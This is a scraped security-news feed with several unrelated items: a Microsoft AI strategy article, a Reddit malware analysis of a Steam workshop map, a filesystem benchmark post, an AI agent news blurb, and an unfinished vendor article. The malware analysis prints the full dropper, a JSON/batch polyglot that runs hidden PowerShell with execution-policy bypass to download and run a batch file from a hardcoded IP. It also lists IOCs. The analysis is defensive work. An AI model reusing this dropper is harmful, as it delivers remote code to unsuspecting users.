arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." </p><p>“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s <a href="https://www.reuters.com/legal/litigation/microsoft-end-exclusive-license-openais-technology-2026-04-27/">exclusive license to OpenAI’s technology</a> had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had <a href="https://www.theinformation.com/articles/microsoft-buy-ai-anthropic-shift-openai">begun incorporating Anthropic models</a> into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”</p><h2><b>Developers cheer cheaper task-specific models while skeptics question Microsoft's track record</b></h2><p>The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, <a href="https://x.com/mavihsk/status/2080330529547993252">@mavihsk</a>, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, <a href="https://x.com/nabu_lines/status/2080343512780837226">@nabu_lines</a>, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."</p><p>Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer <a href="https://x.com/designedbyabin/status/2080332368301412434">@designedbyabin</a>, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, <a href="https://x.com/tokenoverflow/status/2080386145712824694">@tokenoverflow</a>, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."</p><p>The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.</p><p>But the strategy's logic does not depend on any single number. Nadella's framing that software now has "<a href="https://x.com/satyanadella/status/2080329851127669104">real marginal cost for the first time</a>" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.</p><h2><b>Why Microsoft is turning its internal AI playbook into an Azure product</b></h2><p>The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.</p><p>The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to <a href="https://copilot.microsoft.com/">Copilot Chat</a>, <a href="https://outlook.live.com/mail/">Outlook</a>, and <a href="https://www.microsoft.com/en-us/microsoft-365/powerpoint">PowerPoint</a>, and both new models are available in public preview through <a href="https://azure.microsoft.com/en-us/products/ai-foundry">Microsoft Foundry</a> and the <a href="https://playground.microsoft.ai/">MAI Playground</a>. "None of this is an endpoint," the company wrote. "We're just getting started."</p><p>Seven years ago, <a href="https://www.cnbc.com/2024/08/10/rise-of-openai-microsofts-13-billion-artificial-intelligence-bet.html">Microsoft bet more than $13 billion</a> that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.</p>]]></content:encoded>
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<title><![CDATA[Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)]]></title>
<description><![CDATA[Table of Contents  Intro Initial Symptom First Look at the Workshop Files Verifying the Asset Files AssetRegistry.bin Reveals the First Clue Opening the UE5 Asset Container Reverse Engineering the Blueprint Extracting the Embedded Payload Analyzing the Dropper Script Confirming Execution on an Af...]]></description>
<link>https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690349/malware-trojaner-viren/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown/</guid>
<pubDate>Fri, 24 Jul 2026 00:21:11 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><h1>Table of Contents</h1> <ul> <li>Intro</li> <li>Initial Symptom</li> <li>First Look at the Workshop Files</li> <li>Verifying the Asset Files</li> <li>AssetRegistry.bin Reveals the First Clue</li> <li>Opening the UE5 Asset Container</li> <li>Reverse Engineering the Blueprint</li> <li>Extracting the Embedded Payload</li> <li>Analyzing the Dropper Script</li> <li>Confirming Execution on an Affected PC</li> <li>Did the Second Stage Execute?</li> <li>Analysis Summary</li> <li>Limitations &amp; Unknowns</li> <li>IOCs</li> <li>Final verdict</li> </ul> <p>A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.</p> <p>What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.</p> <p>I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.</p> <p><a href="https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51">https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&amp;format=png&amp;auto=webp&amp;s=0276954f24bafc16cee6b2fc2569c12bedeaea51</a></p> <p><strong>1): The Initial Symptom</strong></p> <p>A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.</p> <p><strong>2): First Look at the Workshop Files</strong></p> <p>The workshop content is located here:</p> <pre><code>Steam\steamapps\workshop\content\4704690\3765145606\ </code></pre> <p>At first glance, there’s nothing suspicious in the folder. The contents are:</p> <pre><code>AssetRegistry.bin Preview.png Sample.vdf SampleMyUGCMecchaCModKit_Load-Windows.pak SampleMyUGCMecchaCModKit_Load-Windows.ucas SampleMyUGCMecchaCModKit_Load-Windows.utoc </code></pre> <p>There are no executables, DLLs, batch files, or scripts. The <code>.pak</code>, <code>.ucas</code>, and <code>.utoc</code> files are simply the standard Unreal Engine 5 asset container format used for packaging game content exactly what you would expect to see from a UE5 map or mod.</p> <p>This is worth emphasizing: if you were manually checking this folder for malware, there would be no obvious red flags here. Nothing in this directory suggests anything malicious. That is likely why it passed review in the first place.</p> <p><strong>3): Verifying the Asset Files</strong></p> <p>File extensions are easy to spoof, so I checked the actual file headers and scanned the contents for embedded executable data.</p> <p>The results:</p> <ul> <li>utoc starts with <code>-==--==--==--==-</code>, which is the real IoStore magic</li> <li>pak has the correct <code>0x5A6F12E1</code> footer magic</li> <li>no MZ/PE, ELF or ZIP headers anywhere in any file</li> </ul> <p>The files appear to be valid Unreal Engine asset containers, not disguised executables. There is no standalone executable payload present in this mod. If there is unexpected behavior, it would have to be occurring through the game’s normal asset-loading pipeline rather than from an included executable file.</p> <p><strong>4): AssetRegistry.bin Reveals the First Clue</strong></p> <p>This is the detail that stands out most from the entire investigation.</p> <p>AssetRegistry.bin is largely readable metadata. You can open it in a text editor and see references to the actors placed throughout the maps. Normally, it contains exactly the kind of information you would expect: StaticMeshActor, PointLight, PlayerStart, and other standard Unreal Engine objects.</p> <p>However, one Blueprint actor immediately stands out:</p> <pre><code>/Game/Mods/NewMap.NewMap:PersistentLevel.BP_RCE_Test_C_0 </code></pre> <p>Its class resolves as:</p> <pre><code>BP_AmbientController_C </code></pre> <p>Those two names together are unusual. The class name suggests a harmless environmental or lighting-related system especially since it appears under folders such as Environment and Lighting. However, the placed actor still retains the older name BP_RCE_Test_C_0.</p> <p>In Unreal Engine, this can happen because placed actors keep the name they were created with even if the Blueprint class is later renamed. Renaming the class does not automatically rename every existing instance placed in maps.</p> <p>That means the BP_RCE_Test name likely existed at an earlier point in the asset’s history. Whether intentional or not, the old identifier remains embedded in the map metadata.</p> <p>The same reference appears across three separate maps included in the workshop item, including a NewMap_Backup file that appears to have been left in the upload.</p> <p><strong>5): Opening the UE5 Asset Container</strong></p> <p>The Blueprint data is stored inside the Oodle-compressed .ucas container. Reading the accompanying .utoc metadata reveals:</p> <pre><code>chunks ............ 57 blocks ............ 131 (130 Oodle-compressed) flags ............. Compressed | Indexed </code></pre> <p>No encryption flag is present, meaning the container can be inspected using available Unreal Engine asset tooling and compatible Oodle/Kraken decompression support. All 131 blocks decompress successfully, producing roughly 5.3 MB of extracted data.</p> <p>The container contains 55 assets in total: materials, meshes, textures, four maps, and three Blueprints. Two of those Blueprints appear to be untouched sample assets from the official ModKit, containing no custom logic.</p> <p>Searching across the extracted asset data revealed only a small number of notable references:</p> <pre><code>ReceiveBeginPlay ....... 1 ToFile ................. 1 GetPlatformUserDir ..... 1 powershell ............. 1 </code></pre> <p>These references are concentrated in a single Blueprint rather than being distributed throughout the package. There does not appear to be additional hidden logic elsewhere in the container, which makes the relevant behavior easier to isolate and analyze.</p> <p><strong>6): Reverse Engineering the Blueprint</strong></p> <p>The complete function chain is:</p> <pre><code>ReceiveBeginPlay ↓ GetPlatformUserDir ↓ Replace ↓ Concat_StrStr ↓ FromString (JSON) ↓ ToFile </code></pre> <p>Despite the Blueprint being named like an environment or lighting system, the logic does not appear to perform any lighting, ambience, or world-management functions. Instead, it constructs a file path and writes data to disk.</p> <p>Tracing the Blueprint bytecode shows the path construction:</p> <pre><code>dir = GetPlatformUserDir() // C:/Users/&lt;user&gt;/Documents/ path = dir + "s.bat" </code></pre> <p>ReceiveBeginPlay is normally called when the map begins loading, which does not fully match the behavior reported by some users, who observed activity during the download process itself. That discrepancy is not explained by the Blueprint logic alone, so it is worth treating those reports separately from the behavior confirmed through asset analysis.</p> <p><strong>7): Extracting the Embedded Payload</strong></p> <p>A single embedded string inside the Blueprint contains the following data:</p> <pre><code>{"x\"&amp;if not defined _Z (set _Z=1&amp;start /min cmd /c %~f0&amp;exit) else ( powershell -w hidden -ep bypass -c iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat; cmd /c $env:TEMP\s.bat&amp;exit)&amp;\"x":"1"} </code></pre> <p>The string is structured as a JSON/batch polyglot: it is valid JSON while also containing batch command syntax inside the JSON key. The command content is therefore preserved when written as JSON data, but can also be interpreted as a batch script if the resulting file is executed.</p> <p>This format is significant because the earlier Blueprint analysis showed that the file-writing step uses <code>ToFile</code>, which writes JSON data. The embedded content appears designed to satisfy that JSON requirement while retaining executable command syntax.</p> <p>The combination of a JSON-compatible wrapper and embedded command execution logic is not typical of normal Unreal Engine asset data and is a strong indicator that the content was deliberately constructed rather than being accidental or generated by the engine.</p> <p><strong>8): Analyzing the Dropper Script</strong></p> <p>The extracted script is also human-readable:</p> <pre><code>if not defined _Z ( set _Z=1 start /min cmd /c %~f0 exit ) else ( powershell -w hidden -ep bypass -c ^ iwr http://31.57.34.228/work/steamb.bat -OutFile $env:TEMP\s.bat cmd /c $env:TEMP\s.bat exit ) </code></pre> <p>The script uses a simple two-stage execution flow.</p> <p>On the first run, <code>_Z</code> is not defined, so the script sets the variable, launches a minimized copy of itself, and exits. This relaunch behavior explains the brief command window flash reported by some users. At this stage, the script is acting as a launcher rather than performing the main action.</p> <p>On the second run, the <code>_Z</code> variable is already present, so the script follows the alternate branch. It starts PowerShell with a hidden window, modifies the execution policy for that process, downloads <code>steamb.bat</code> from a hardcoded external address, saves it to the temporary directory, and executes it.</p> <p>The <code>_Z</code> check appears to exist solely to prevent the script from repeatedly relaunching itself.</p> <p>The script itself is relatively simple: there is no evidence here of persistence mechanisms, privilege escalation, or sophisticated obfuscation. Its main purpose appears to be retrieving and executing a second-stage script. That second stage is hosted externally, meaning its contents can change independently of the original mod package.</p> <p><strong>9): Confirming Execution on an Affected PC</strong></p> <p>On one affected system, I found a file that was byte-for-byte identical to the payload string embedded in the Blueprint. It was located at the exact path identified during the bytecode analysis.</p> <p>This confirms that the Blueprint logic was not just theoretical, the file-writing behavior observed during reverse engineering occurred on a real system.</p> <p><a href="https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32">https://preview.redd.it/hav7l33dq1fh1.png?width=2252&amp;format=png&amp;auto=webp&amp;s=9fc74ff8ac7e3607889cb9a4f052d8d73e0f2f32</a></p> <p><strong>10): Did the second stage execute?</strong></p> <p>The second-stage file, <code>%TEMP%\s.bat</code>, was not present on the affected machine. The PowerShell Operational log explains why:</p> <p><a href="https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70">https://preview.redd.it/srmpq28pq1fh1.png?width=1577&amp;format=png&amp;auto=webp&amp;s=6a2841345f423906fafaa570acd20d85636e3b70</a></p> <p>The download request failed with an HTTP 404 response at the time of execution. Because the file was never successfully retrieved, nothing was written to disk and the following <code>cmd /c</code> command had no script to execute.</p> <p>On this system, the second stage did not execute. The contents and behavior of the downloaded payload remain unknown because the external file was unavailable at the time of analysis.</p> <p>The address embedded in the script resolves to <code>31.57.34.228</code>. At the time of analysis, the IP address was geolocated to Amsterdam, Netherlands, and was associated with Blockchain Creek B.V. (ASN 207994).</p> <p>This information identifies the hosting infrastructure used by the download URL, but it does not by itself identify the operator of the server or establish attribution. The important finding is that the Blueprint attempted to retrieve an additional payload from an external location, rather than containing the final payload entirely within the workshop files.</p> <p><a href="https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026">https://preview.redd.it/y1b4bj6sq1fh1.png?width=2546&amp;format=png&amp;auto=webp&amp;s=141474bd203a7d6529591ae09487da2e35e58026</a></p> <p><strong>11): Analysis Summary</strong></p> <p>Based on the evidence recovered from the workshop item, this should be treated as malicious content. That conclusion does not rely on a single indicator; it comes from the combination of several independent findings:</p> <ul> <li>The Workshop uploader account appears to have been created only about one week before the item was published</li> <li>The Workshop map currently does not allow users to leave comments or ratings</li> <li>The only Blueprint containing custom logic was originally identified as <code>BP_RCE_Test</code> and later appeared under a name consistent with a harmless environment or lighting controller.</li> <li>The Blueprint executes automatically through <code>ReceiveBeginPlay</code>, rather than requiring an intentional user action inside the map.</li> <li>Its logic writes data outside the game directory into the user’s Documents folder, which is unrelated to normal map or asset behavior.</li> <li>The written content is a deliberately structured JSON/batch polyglot, allowing data written through a JSON-only function to retain executable batch syntax.</li> <li>That script launches hidden PowerShell, bypasses the local execution policy for the process, retrieves a second-stage file from a hardcoded external address, and attempts to execute it.</li> </ul> <p>What remains unknown is the purpose of the final payload. The second-stage script was not successfully retrieved during analysis and was no longer available from the remote location, so its behavior cannot be determined. Claims that it was specifically an infostealer, loader, or another type of malware would be speculation without that payload.</p> <p><strong>12): Limitations &amp; Unknowns</strong></p> <p><strong>What does</strong> <code>steamb.bat</code> <strong>do?</strong></p> <p>Unknown. The second-stage payload was not delivered during analysis, so its final behavior cannot be determined from the available evidence.</p> <h1>IOCs</h1> <pre><code>Workshop item 3765145606 "Laser Tag Neon" (appid 4704690) comments and ratings disabled on the listing uploader account roughly one week old Asset BP_AmbientController.uasset (originally BP_RCE_Test_C_0) Dropped file %USERPROFILE%\Documents\s.bat C2 http://31.57.34.228/work/steamb.bat Second stage steamb.bat (never delivered, contents unknown) Asset build 2026-06-09 22:37:14 s.bat 210 bytes sha256 1ff540bc3c493a93059e602b414ba61027ed1a2b8a079f6197b0718f4a2101b6 md5 04d6dfadd5248c995951707e27520ade container utoc aea429fbb44d552c917c22018e838e4154e68a8cac5806f7a8e30b61586ba2a6 ucas fbd932faba4ec8d614fbd7a68636e177213259bafe2babdcdc47c2a8acd6d569 pak aa58f9061a4e39e3f5a28395c56cfa5b0072d90e66054894f9c8022e81e396c9 </code></pre> <p><strong>Final Verdict</strong></p> <p>Based on everything I found, I believe this workshop item is very likely malicious, but there are still parts of the execution chain I couldn't directly observe.</p> <p>What I can say with confidence is that the asset contains a Blueprint whose only meaningful purpose is to write a batch file outside the game's directory into the user's Documents folder. That batch file then attempts to launch PowerShell with the execution policy bypassed, download a second batch file from a hard-coded external server, and execute it.</p> <p>I can't think of a legitimate reason for a Steam workshop map to write a .bat file into a user's Documents folder and then use PowerShell to fetch and run another <code>.bat</code> file from the Internet. Even without knowing what the second stage contained, that behavior is extremely difficult to explain as anything other than a malware delivery chain.</p> <p>Could there be some edge case I'm missing? Absolutely. That's why I've tried to separate facts from assumptions throughout this write-up. But given the evidence recovered from the assets themselves, I think calling this a malicious dropper is the conclusion best supported by the data</p> <p>Further independent investigation is encouraged, particularly if additional evidence becomes available. For now, the workshop item and the uploader have been reported and flagged for review.</p> <p>Cheers and stay safe!</p> <p>FeintBe</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/feintbe"> /u/feintbe </a> <br> <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v4sged/workshop_map_for_meccha_chameleon_is_a_malware/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[I built a Linux filesystem benchmark for corruption, snapshots, rebuilds and ENOSPC across 26 storage layouts]]></title>
<description><![CDATA[Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place. I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their fea...]]></description>
<link>https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</guid>
<pubDate>Fri, 24 Jul 2026 00:13:06 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place.</p> <p>I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their features, failure modes and behavior over time.</p> <p>The current matrix contains 26 configurations across btrfs, ZFS, bcachefs, ext4 and XFS over md/LVM, dm-integrity, native and LUKS encryption, parity layouts, and XFS on a ZFS zvol.</p> <p>Hosted CI dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/">https://bartosz.fenski.pl/modern-fs-benchmark/</a></p> <p>Experimental real-hardware dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/">https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/</a></p> <p>Apache-2.0 licensed source and complete methodology:</p> <p><a href="https://github.com/fenio/modern-fs-benchmark">https://github.com/fenio/modern-fs-benchmark</a></p> <p>The raw benchmark datasets are published under CC BY 4.0. Every result records the kernel and filesystem tool/module versions. CI artifacts also contain a full command trace, so the exact workload is inspectable rather than hidden behind a chart.</p> <p><strong>Why I started this project</strong></p> <p>Many filesystem benchmarks follow a familiar pattern: create a filesystem with mostly default options, mount it, run fio or another generic workload, and compare throughput.</p> <p>General-purpose suites such as the Phoronix Test Suite are useful for conventional performance comparisons, but they do not focus on the machinery that makes modern copy-on-write filesystems interesting.</p> <p>I wanted a benchmark designed around btrfs, ZFS and bcachefs as multi-device storage systems rather than treating them as interchangeable replacements for ext4 on a single freshly formatted disk.</p> <p>That means testing behavior such as:</p> <p>- Redundancy and degraded operation</p> <p>- Snapshot aging, scaling and reclamation</p> <p>- Compression and encryption</p> <p>- Reflinks and clone divergence</p> <p>- Fsync tail latency and responsiveness under load</p> <p>- Rebuild and scrub behavior</p> <p>- Near-full and hard-ENOSPC behavior</p> <p>- Data integrity and recovery from corruption</p> <p>Ext4 and XFS over md, LVM and dm-integrity are included as classic-stack baselines so the costs and benefits of integrated CoW designs can be compared with layered alternatives.</p> <p>Silent corruption is one particularly important example. When one redundant copy is deliberately corrupted behind the filesystem, checksumming filesystems such as btrfs, ZFS and bcachefs can identify the damaged copy and recover from a valid replica.</p> <p>Traditional md/LVM redundancy without data checksums can notice during a scrub that its copies disagree, but it cannot determine which one is correct. In my tests, some classic configurations returned corrupted data successfully without an application-visible error.</p> <p>The dm-integrity configuration shows that a classic layered stack can obtain integrity protection too, with a measurable performance cost.</p> <p><strong>An important limitation</strong></p> <p>The main dashboard uses loop devices on GitHub-hosted VMs. Absolute throughput numbers and small differences between filesystems should not be interpreted as hardware rankings.</p> <p>The hosted runs are primarily useful for:</p> <p>- Correctness and integrity outcomes</p> <p>- Comparisons within the same job</p> <p>- Large behavioral differences</p> <p>- Snapshot-aging and near-full shapes</p> <p>- Trends across repeated runs</p> <p>Real disks are required for meaningful absolute performance, concurrency scaling, device parallelism and mixed-media topologies.</p> <p>I am aware of this limitation and do not want the hosted dashboard to suggest more precision than the underlying environment can provide.</p> <p><strong>The real-hardware experiment</strong></p> <p>Kent Overstreet, the creator of bcachefs, made one of his Hetzner machines available for a real-hardware experiment.</p> <p>The server had two physical NVMe devices. It completed three full benchmark runs, which are available in the separate real-hardware dashboard. These runs provided meaningful absolute measurements and exposed concurrency behavior that cannot be observed when several loop devices share one virtual disk.</p> <p>During the fourth run, one NVMe controller entered the kernel’s dead state. The existing machine environment had its operating system on RAID0 across the two NVMe devices, so the hardware failure also made part of /nix/store unreadable and eventually prevented new SSH sessions.</p> <p>The incomplete fourth run is not being published as benchmark data. This was a failure of the underlying hardware, not a result attributable to any filesystem being tested.</p> <p>I am grateful to Kent for providing the machine and making the real-hardware experiment possible. Without that access, the three existing hardware runs would not exist.</p> <p><strong>Where I would like to take it</strong></p> <p>Better hardware would not merely produce more reliable throughput numbers. It would enable an entirely new class of tests designed for multi-device and multi-tier filesystems.</p> <p>I would eventually like to run the suite on a machine containing several storage classes, for example two HDDs, two SSDs and an NVMe device.</p> <p>That could support scenarios such as:</p> <p>- HDD, SSD and NVMe baselines using identical workloads</p> <p>- bcachefs foreground and background targets</p> <p>- ZFS HDD data vdevs with SSD special vdevs</p> <p>- Separate ZFS L2ARC and SLOG experiments</p> <p>- LVM dm-cache in writeback and writethrough modes</p> <p>- Metadata and small-block placement on faster media</p> <p>- Foreground latency during background migration</p> <p>- Contention between fast and slow storage tiers</p> <p>- Degraded operation and rebuild under application load</p> <p>- Performance before, during and after promoting or evacuating a storage tier</p> <p>These are the kinds of scenarios for which multi-device and multi-tier filesystems are built, but they cannot be represented honestly when every “device” is a loop file backed by the same cloud disk.</p> <p>I am considering either renting a suitable dedicated server or eventually building and hosting my own machine. Providers such as Worldstream offer configurations close to what I need, but the recurring cost is currently outside the project’s budget.</p> <p>For now, the benchmark will remain in its hosted-CI form for an unknown amount of time. The existing dashboard will continue to be useful for correctness, behavioral comparisons and regression tracking, but it cannot answer every real-hardware performance question or model complex mixed-media topologies.</p> <p>I am also open to running the suite on hardware provided by someone else. A useful environment would need Linux root access, clearly identified block devices that may be wiped, and enough uninterrupted access to complete repeated runs. The hardware description, methodology and resulting data would remain public.</p> <p>I would appreciate technical feedback:</p> <p>- Which current tests are misleading or unfair?</p> <p>- Which failure scenarios are missing?</p> <p>- Which mixed-media topologies would be most useful?</p> <p>- Which additional filesystems or layered stacks should be included?</p> <p>- Which results deserve deeper investigation?</p> <p>The methodology, implementation and raw results are public. If a filesystem is being tested in a way that misrepresents it, I consider that a bug in the benchmark.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/bfenski"> /u/bfenski </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Andrew Ng Just Released OpenWorker: An Open-Source, Local-First Desktop AI Coworker That Returns Finished Deliverables Instead of Chat]]></title>
<description><![CDATA[Andrew Ng has released OpenWorker, an MIT-licensed desktop AI agent that returns finished deliverables instead of chat replies. It runs a local Python agent server under a Tauri shell, supports 30 curated tool-calling models plus fully local Ollama, and gates every write, shell command and off-ma...]]></description>
<link>https://tsecurity.de/de/3690088/ai-nachrichten/andrew-ng-just-released-openworker-an-open-source-local-first-desktop-ai-coworker-that-returns-finished-deliverables-instead-of-chat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690088/ai-nachrichten/andrew-ng-just-released-openworker-an-open-source-local-first-desktop-ai-coworker-that-returns-finished-deliverables-instead-of-chat/</guid>
<pubDate>Thu, 23 Jul 2026 21:34:58 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Andrew Ng has released OpenWorker, an MIT-licensed desktop AI agent that returns finished deliverables instead of chat replies. It runs a local Python agent server under a Tauri shell, supports 30 curated tool-calling models plus fully local Ollama, and gates every write, shell command and off-machine action behind a typed risk engine.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/23/andrew-ng-just-released-openworker-an-open-source-local-first-desktop-ai-coworker-that-returns-finished-deliverables-instead-of-chat/">Andrew Ng Just Released OpenWorker: An Open-Source, Local-First Desktop AI Coworker That Returns Finished Deliverables Instead of Chat</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<title><![CDATA[4 ways AI-driven defense is rewriting the cybersecurity playbook]]></title>
<description><![CDATA[The cybersecurity landscape has evolved beyond human scale. Today’s adversaries have replaced predictable, manual playbooks with machine-generated attack chains that can breach traditional controls in seconds. To bridge the gap, organizations must move past legacy, reactive controls and embrace a...]]></description>
<link>https://tsecurity.de/de/3690085/it-security-nachrichten/4-ways-ai-driven-defense-is-rewriting-the-cybersecurity-playbook/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690085/it-security-nachrichten/4-ways-ai-driven-defense-is-rewriting-the-cybersecurity-playbook/</guid>
<pubDate>Thu, 23 Jul 2026 21:34:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The cybersecurity landscape has evolved beyond human scale. Today’s adversaries have replaced predictable, manual playbooks with machine-generated attack chains that can breach traditional controls in seconds. To bridge the gap, organizations must move past legacy, reactive controls and embrace a fundamentally different, AI-driven architecture: Agentic Endpoint Security (AES). </p>



<p class="wp-block-paragraph">AES represents a paradigm shift, moving security from a passive monitor to an active participant in the defense lifecycle. It provides the visibility and automated guardrails necessary to govern autonomous AI agents and agentic tools, ensuring that as your workforce scales with AI, your security posture remains unbreakable. </p>



<p class="wp-block-paragraph">With autonomous AI agents now capable of planning and executing multi-stage attacks at machine speed, the pressure on traditional security operations (SOC) has reached a breaking point. To survive this shift, the strategy is clear: we must fight AI with AI. </p>



<p class="wp-block-paragraph">Here is how AI-driven defense, pioneered by <a href="https://www.paloaltonetworks.com/cortex/cortex-xdr?utm_source=foundry-jg-amer-cortex-socf-ends&amp;utm_medium=display&amp;utm_campaign=foundry-cortex-edpxdr-amer-multi-discovery-en-foundry_cso_article_link_1_xdr&amp;utm_content=7014u000001AZlHAAW&amp;cq_plac=%7Bplacement%7D&amp;cq_net=%7Bnetwork%7D?dclid=CPXs7KK66ZUDFU6Q7gEdcAAphg&amp;gad_source=7&amp;gad_campaignid=24059812534" target="_blank" rel="noreferrer noopener">Cortex XDR</a> and the era of <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security?utm_source=foundry-jg-amer-cortex-socf-ends&amp;utm_medium=display&amp;utm_campaign=foundry-cortex-edpxdr-amer-multi-discovery-en-foundry_cso_article_link_2_koi&amp;utm_content=701Ki000000h8oXIAQ&amp;cq_plac=%7Bplacement%7D&amp;cq_net=%7Bnetwork%7D?dclid=CPSG_NS66ZUDFbrKuAgd4vAYrw&amp;gad_source=7&amp;gad_campaignid=24059814223" target="_blank" rel="noreferrer noopener">Agentic Endpoint Security</a>, is fundamentally rewriting the cybersecurity playbook.</p>



<ol class="wp-block-list">
<li><strong>From reactive patching to proactive prevention </strong></li>
</ol>



<p class="wp-block-paragraph">For decades, the industry lived in a “wait-and-see” mode waiting for a vulnerability to surface, waiting for a signature, and then rushing to patch the hole. But reactive methods just don’t hold up against modern “frontier” AI attacks that are constantly morphing. </p>



<p class="wp-block-paragraph">AI-driven defense changes the game by shifting to a prevention-first architecture. Rather than relying on historical signatures, modern platforms deploy localized, ML-driven analysis to evaluate the intent and behavior of an active process, stopping threats pre-execution. Cortex XDR leads with a strict prevention-first approach by using AI-driven local analysis and behavioral threat protection; the XDR agent stops sophisticated threats pre-impact and pre-execution. This proactive stance reduces the overall risk profile by blocking malicious chains of events in real time across network, process, file, and registry activity. </p>



<p class="wp-block-paragraph">2. <strong>Eliminating the “agentic blind spot” </strong></p>



